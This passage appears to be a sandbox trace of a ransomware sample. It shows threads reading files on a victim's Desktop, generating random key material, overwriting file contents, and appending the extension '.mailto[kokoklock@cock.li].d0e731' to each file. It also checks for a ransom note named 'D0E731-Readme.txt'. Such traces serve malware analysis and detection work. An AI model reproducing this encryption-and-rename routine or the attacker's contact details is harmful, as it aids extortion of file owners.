1 [0172.633] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30581b0) returned 1 [0172.633] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058200) returned 1 [0172.633] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058228) returned 1 [0172.633] CloseHandle (hObject=0x5d4) returned 1 [0172.633] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc6) returned 0x2fc3548 [0172.633] wcscpy (in: _Dest=0x2fc3548, _Source="C:\\Users\\FD1HVy\\Desktop\\CrvV.gif.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\CrvV.gif.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\CrvV.gif.mailto[kokoklock@cock.li].d0e731" [0172.633] wcscat (in: _Dest=0x2fc3548, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\CrvV.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\CrvV.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0172.633] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\CrvV.gif.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\crvv.gif.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\CrvV.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\crvv.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0172.634] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CrvV.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.634] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc3548) returned 1 [0172.634] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CrvV.gif.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.634] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x56) returned 0x2fa4660 [0172.634] wcscpy (in: _Dest=0x2fa4660, _Source="C:\\Users\\FD1HVy\\Desktop\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0172.634] wcscat (in: _Dest=0x2fa4660, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0172.634] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt")) returned 0x20 [0172.634] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4660) returned 1 [0172.634] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f82e08) returned 1 [0172.634] RtlExitUserThread (Status=0x1) Thread: id = 1935 os_tid = 0x81c [0170.739] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\d 2Q-T8WCBu7RyxxWaxa.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\d 2q-t8wcbu7ryxxwaxa.png.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0172.592] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\d 2Q-T8WCBu7RyxxWaxa.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.593] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\d 2Q-T8WCBu7RyxxWaxa.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\d 2q-t8wcbu7ryxxwaxa.png.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d4 [0172.593] GetFileSizeEx (in: hFile=0x5d4, lpFileSize=0x135ef7e8 | out: lpFileSize=0x135ef7e8*=23573) returned 1 [0172.593] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x5c11, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.593] ReadFile (in: hFile=0x5d4, lpBuffer=0x135ef7bc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x135ef7b8, lpOverlapped=0x0 | out: lpBuffer=0x135ef7bc*, lpNumberOfBytesRead=0x135ef7b8*=0x4, lpOverlapped=0x0) returned 1 [0172.594] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.594] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058430 [0172.594] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30581b0 [0172.594] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30583e0 [0172.594] NtQuerySystemTime (in: CurrentTime=0x135ef794 | out: CurrentTime=0x135ef794*=132121213299046055) returned 0x0 [0172.594] RtlRandom (in: Seed=0x135ef7a0 | out: Seed=0x135ef7a0) returned 0x720953ff [0172.594] RtlRandom (in: Seed=0x135ef7a0 | out: Seed=0x135ef7a0) returned 0x79f1eed6 [0172.594] RtlRandom (in: Seed=0x135ef7a0 | out: Seed=0x135ef7a0) returned 0x17c1dc28 [0172.594] RtlRandom (in: Seed=0x135ef7a0 | out: Seed=0x135ef7a0) returned 0xd5151f9b [0172.594] RtlRandom (in: Seed=0x135ef7a0 | out: Seed=0x135ef7a0) returned 0xf20cdfe0 [0172.594] RtlRandom (in: Seed=0x135ef7a0 | out: Seed=0x135ef7a0) returned 0x6a71b675 [0172.594] RtlRandom (in: Seed=0x135ef7a0 | out: Seed=0x135ef7a0) returned 0x5299a4a3 [0172.594] RtlRandom (in: Seed=0x135ef7a0 | out: Seed=0x135ef7a0) returned 0x569227ad [0172.594] RtlRandom (in: Seed=0x135ef7a0 | out: Seed=0x135ef7a0) returned 0x94a6e33d [0172.594] RtlRandom (in: Seed=0x135ef7a0 | out: Seed=0x135ef7a0) returned 0x4cb0131f [0172.594] RtlRandom (in: Seed=0x135ef7a0 | out: Seed=0x135ef7a0) returned 0x6dfa6c97 [0172.594] RtlRandom (in: Seed=0x135ef7a0 | out: Seed=0x135ef7a0) returned 0xf8c99226 [0172.594] RtlRandom (in: Seed=0x135ef7a0 | out: Seed=0x135ef7a0) returned 0xc7b70ac4 [0172.594] RtlRandom (in: Seed=0x135ef7a0 | out: Seed=0x135ef7a0) returned 0x52696989 [0172.594] RtlRandom (in: Seed=0x135ef7a0 | out: Seed=0x135ef7a0) returned 0xf5c91376 [0172.594] RtlRandom (in: Seed=0x135ef7a0 | out: Seed=0x135ef7a0) returned 0xb844c908 [0172.594] RtlRandom (in: Seed=0x135ef7a0 | out: Seed=0x135ef7a0) returned 0x6688de3d [0172.594] RtlRandom (in: Seed=0x135ef7a0 | out: Seed=0x135ef7a0) returned 0x5875c51f [0172.595] RtlRandom (in: Seed=0x135ef7a0 | out: Seed=0x135ef7a0) returned 0x3d927ec6 [0172.595] RtlRandom (in: Seed=0x135ef7a0 | out: Seed=0x135ef7a0) returned 0xfbe6e23c [0172.595] RtlRandom (in: Seed=0x135ef7a0 | out: Seed=0x135ef7a0) returned 0x19c90807 [0172.595] RtlRandom (in: Seed=0x135ef7a0 | out: Seed=0x135ef7a0) returned 0x653e10c0 [0172.595] RtlRandom (in: Seed=0x135ef7a0 | out: Seed=0x135ef7a0) returned 0x40f582c9 [0172.595] RtlRandom (in: Seed=0x135ef7a0 | out: Seed=0x135ef7a0) returned 0x5f769c6b [0172.595] RtlRandom (in: Seed=0x135ef7a0 | out: Seed=0x135ef7a0) returned 0x44248d29 [0172.595] RtlRandom (in: Seed=0x135ef7a0 | out: Seed=0x135ef7a0) returned 0xbcbaeef1 [0172.595] RtlRandom (in: Seed=0x135ef7a0 | out: Seed=0x135ef7a0) returned 0x9ccb2b3b [0172.595] RtlRandom (in: Seed=0x135ef7a0 | out: Seed=0x135ef7a0) returned 0xa81e71ca [0172.595] RtlRandom (in: Seed=0x135ef7a0 | out: Seed=0x135ef7a0) returned 0x69c364cb [0172.595] RtlRandom (in: Seed=0x135ef7a0 | out: Seed=0x135ef7a0) returned 0x8fd12a28 [0172.595] RtlRandom (in: Seed=0x135ef7a0 | out: Seed=0x135ef7a0) returned 0xe0ffee07 [0172.595] RtlRandom (in: Seed=0x135ef7a0 | out: Seed=0x135ef7a0) returned 0xe032dae7 [0172.604] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30581d8 [0172.607] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013698 [0172.607] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058200 [0172.607] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013698) returned 1 [0172.607] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058430) returned 1 [0172.608] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4f02870 [0172.608] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.608] ReadFile (in: hFile=0x5d4, lpBuffer=0x4f02870, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x135ef76c, lpOverlapped=0x0 | out: lpBuffer=0x4f02870*, lpNumberOfBytesRead=0x135ef76c*=0x4096, lpOverlapped=0x0) returned 1 [0172.608] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.608] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87428 [0172.608] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013620 [0172.608] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058228 [0172.608] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058228) returned 1 [0172.608] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0172.609] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058430 [0172.609] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058228 [0172.609] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058228) returned 1 [0172.609] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013620) returned 1 [0172.609] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87428) returned 1 [0172.609] WriteFile (in: hFile=0x5d4, lpBuffer=0x2fc6fd0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x135ef76c, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesWritten=0x135ef76c*=0x4096, lpOverlapped=0x0) returned 1 [0172.609] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0172.609] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x5c15, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.609] WriteFile (in: hFile=0x5d4, lpBuffer=0x3058430*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x135ef7a4, lpOverlapped=0x0 | out: lpBuffer=0x3058430*, lpNumberOfBytesWritten=0x135ef7a4*=0x20, lpOverlapped=0x0) returned 1 [0172.610] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058430) returned 1 [0172.610] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02870) returned 1 [0172.610] WriteFile (in: hFile=0x5d4, lpBuffer=0x3058200*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x135ef7b8, lpOverlapped=0x0 | out: lpBuffer=0x3058200*, lpNumberOfBytesWritten=0x135ef7b8*=0x8, lpOverlapped=0x0) returned 1 [0172.610] WriteFile (in: hFile=0x5d4, lpBuffer=0x135ef7d0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x135ef7b8, lpOverlapped=0x0 | out: lpBuffer=0x135ef7d0*, lpNumberOfBytesWritten=0x135ef7b8*=0x4, lpOverlapped=0x0) returned 1 [0172.610] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x135ef7b8, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x135ef7b8*=0x4, lpOverlapped=0x0) returned 1 [0172.610] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x135ef7b8, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x135ef7b8*=0x6c, lpOverlapped=0x0) returned 1 [0172.610] WriteFile (in: hFile=0x5d4, lpBuffer=0x30581b0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x135ef7b8, lpOverlapped=0x0 | out: lpBuffer=0x30581b0*, lpNumberOfBytesWritten=0x135ef7b8*=0x20, lpOverlapped=0x0) returned 1 [0172.610] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x135ef7b8, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x135ef7b8*=0x4, lpOverlapped=0x0) returned 1 [0172.610] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30581b0) returned 1 [0172.610] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30581d8) returned 1 [0172.611] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058200) returned 1 [0172.611] CloseHandle (hObject=0x5d4) returned 1 [0172.611] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe6) returned 0x2fc4940 [0172.611] wcscpy (in: _Dest=0x2fc4940, _Source="C:\\Users\\FD1HVy\\Desktop\\d 2Q-T8WCBu7RyxxWaxa.png.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\d 2Q-T8WCBu7RyxxWaxa.png.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\d 2Q-T8WCBu7RyxxWaxa.png.mailto[kokoklock@cock.li].d0e731" [0172.611] wcscat (in: _Dest=0x2fc4940, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\d 2Q-T8WCBu7RyxxWaxa.png.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\d 2Q-T8WCBu7RyxxWaxa.png.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0172.611] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\d 2Q-T8WCBu7RyxxWaxa.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\d 2q-t8wcbu7ryxxwaxa.png.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\d 2Q-T8WCBu7RyxxWaxa.png.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\d 2q-t8wcbu7ryxxwaxa.png.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0172.612] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\d 2Q-T8WCBu7RyxxWaxa.png.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.612] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc4940) returned 1 [0172.612] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\d 2Q-T8WCBu7RyxxWaxa.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.612] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x56) returned 0x2fa4660 [0172.612] wcscpy (in: _Dest=0x2fa4660, _Source="C:\\Users\\FD1HVy\\Desktop\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0172.612] wcscat (in: _Dest=0x2fa4660, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0172.612] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt")) returned 0x20 [0172.612] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4660) returned 1 [0172.612] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f91d40) returned 1 [0172.612] RtlExitUserThread (Status=0x1) Thread: id = 1936 os_tid = 0xd7c [0170.744] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\dCCr2t7Rk.swf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\dccr2t7rk.swf.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0172.573] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\dCCr2t7Rk.swf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.573] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\dCCr2t7Rk.swf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\dccr2t7rk.swf.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d4 [0172.573] GetFileSizeEx (in: hFile=0x5d4, lpFileSize=0x1387fc58 | out: lpFileSize=0x1387fc58*=25793) returned 1 [0172.573] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x64bd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.573] ReadFile (in: hFile=0x5d4, lpBuffer=0x1387fc2c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1387fc28, lpOverlapped=0x0 | out: lpBuffer=0x1387fc2c*, lpNumberOfBytesRead=0x1387fc28*=0x4, lpOverlapped=0x0) returned 1 [0172.574] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.574] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30583e0 [0172.574] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058430 [0172.574] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058188 [0172.574] NtQuerySystemTime (in: CurrentTime=0x1387fc04 | out: CurrentTime=0x1387fc04*=132121213298889451) returned 0x0 [0172.574] RtlRandom (in: Seed=0x1387fc10 | out: Seed=0x1387fc10) returned 0x5d397686 [0172.574] RtlRandom (in: Seed=0x1387fc10 | out: Seed=0x1387fc10) returned 0xa3eec668 [0172.574] RtlRandom (in: Seed=0x1387fc10 | out: Seed=0x1387fc10) returned 0x1494cf88 [0172.574] RtlRandom (in: Seed=0x1387fc10 | out: Seed=0x1387fc10) returned 0x3fa734a3 [0172.574] RtlRandom (in: Seed=0x1387fc10 | out: Seed=0x1387fc10) returned 0xd9791b51 [0172.574] RtlRandom (in: Seed=0x1387fc10 | out: Seed=0x1387fc10) returned 0x94b01edf [0172.574] RtlRandom (in: Seed=0x1387fc10 | out: Seed=0x1387fc10) returned 0x2dec598e [0172.575] RtlRandom (in: Seed=0x1387fc10 | out: Seed=0x1387fc10) returned 0xce1b5a1e [0172.575] RtlRandom (in: Seed=0x1387fc10 | out: Seed=0x1387fc10) returned 0xca808a05 [0172.575] RtlRandom (in: Seed=0x1387fc10 | out: Seed=0x1387fc10) returned 0xa5175850 [0172.575] RtlRandom (in: Seed=0x1387fc10 | out: Seed=0x1387fc10) returned 0x9fa65ee6 [0172.575] RtlRandom (in: Seed=0x1387fc10 | out: Seed=0x1387fc10) returned 0xc897b920 [0172.575] RtlRandom (in: Seed=0x1387fc10 | out: Seed=0x1387fc10) returned 0x7f5e69b [0172.575] RtlRandom (in: Seed=0x1387fc10 | out: Seed=0x1387fc10) returned 0x32f90cde [0172.575] RtlRandom (in: Seed=0x1387fc10 | out: Seed=0x1387fc10) returned 0xf09e0e0e [0172.575] RtlRandom (in: Seed=0x1387fc10 | out: Seed=0x1387fc10) returned 0x7ca0ab33 [0172.575] RtlRandom (in: Seed=0x1387fc10 | out: Seed=0x1387fc10) returned 0x98a5c9cc [0172.575] RtlRandom (in: Seed=0x1387fc10 | out: Seed=0x1387fc10) returned 0x6a253e4b [0172.575] RtlRandom (in: Seed=0x1387fc10 | out: Seed=0x1387fc10) returned 0x153660bf [0172.575] RtlRandom (in: Seed=0x1387fc10 | out: Seed=0x1387fc10) returned 0xad8296e [0172.575] RtlRandom (in: Seed=0x1387fc10 | out: Seed=0x1387fc10) returned 0x53623cff [0172.575] RtlRandom (in: Seed=0x1387fc10 | out: Seed=0x1387fc10) returned 0x96f004c9 [0172.575] RtlRandom (in: Seed=0x1387fc10 | out: Seed=0x1387fc10) returned 0xb545dae [0172.575] RtlRandom (in: Seed=0x1387fc10 | out: Seed=0x1387fc10) returned 0xe8467e46 [0172.575] RtlRandom (in: Seed=0x1387fc10 | out: Seed=0x1387fc10) returned 0xb3703db8 [0172.575] RtlRandom (in: Seed=0x1387fc10 | out: Seed=0x1387fc10) returned 0x68c7467 [0172.575] RtlRandom (in: Seed=0x1387fc10 | out: Seed=0x1387fc10) returned 0x7591f60d [0172.575] RtlRandom (in: Seed=0x1387fc10 | out: Seed=0x1387fc10) returned 0x9df680f8 [0172.575] RtlRandom (in: Seed=0x1387fc10 | out: Seed=0x1387fc10) returned 0x45372b26 [0172.575] RtlRandom (in: Seed=0x1387fc10 | out: Seed=0x1387fc10) returned 0x5c0a7ab9 [0172.575] RtlRandom (in: Seed=0x1387fc10 | out: Seed=0x1387fc10) returned 0x8391e1 [0172.575] RtlRandom (in: Seed=0x1387fc10 | out: Seed=0x1387fc10) returned 0xe55ebacc [0172.584] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30581b0 [0172.586] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013698 [0172.586] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30581d8 [0172.586] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013698) returned 1 [0172.586] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30583e0) returned 1 [0172.586] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4f02870 [0172.586] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.586] ReadFile (in: hFile=0x5d4, lpBuffer=0x4f02870, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1387fbdc, lpOverlapped=0x0 | out: lpBuffer=0x4f02870*, lpNumberOfBytesRead=0x1387fbdc*=0x4096, lpOverlapped=0x0) returned 1 [0172.587] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.587] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87428 [0172.587] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013620 [0172.587] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058200 [0172.587] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058200) returned 1 [0172.587] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0172.587] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058200 [0172.587] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058228 [0172.588] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058228) returned 1 [0172.588] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013620) returned 1 [0172.588] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87428) returned 1 [0172.588] WriteFile (in: hFile=0x5d4, lpBuffer=0x2fc6fd0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1387fbdc, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesWritten=0x1387fbdc*=0x4096, lpOverlapped=0x0) returned 1 [0172.588] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0172.588] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x64c1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.588] WriteFile (in: hFile=0x5d4, lpBuffer=0x3058200*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1387fc14, lpOverlapped=0x0 | out: lpBuffer=0x3058200*, lpNumberOfBytesWritten=0x1387fc14*=0x20, lpOverlapped=0x0) returned 1 [0172.588] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058200) returned 1 [0172.588] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02870) returned 1 [0172.588] WriteFile (in: hFile=0x5d4, lpBuffer=0x30581d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1387fc28, lpOverlapped=0x0 | out: lpBuffer=0x30581d8*, lpNumberOfBytesWritten=0x1387fc28*=0x8, lpOverlapped=0x0) returned 1 [0172.589] WriteFile (in: hFile=0x5d4, lpBuffer=0x1387fc40*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1387fc28, lpOverlapped=0x0 | out: lpBuffer=0x1387fc40*, lpNumberOfBytesWritten=0x1387fc28*=0x4, lpOverlapped=0x0) returned 1 [0172.589] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1387fc28, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x1387fc28*=0x4, lpOverlapped=0x0) returned 1 [0172.589] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1387fc28, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x1387fc28*=0x6c, lpOverlapped=0x0) returned 1 [0172.589] WriteFile (in: hFile=0x5d4, lpBuffer=0x3058430*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1387fc28, lpOverlapped=0x0 | out: lpBuffer=0x3058430*, lpNumberOfBytesWritten=0x1387fc28*=0x20, lpOverlapped=0x0) returned 1 [0172.589] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1387fc28, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x1387fc28*=0x4, lpOverlapped=0x0) returned 1 [0172.589] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058430) returned 1 [0172.589] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30581b0) returned 1 [0172.589] RtlFreeHeap 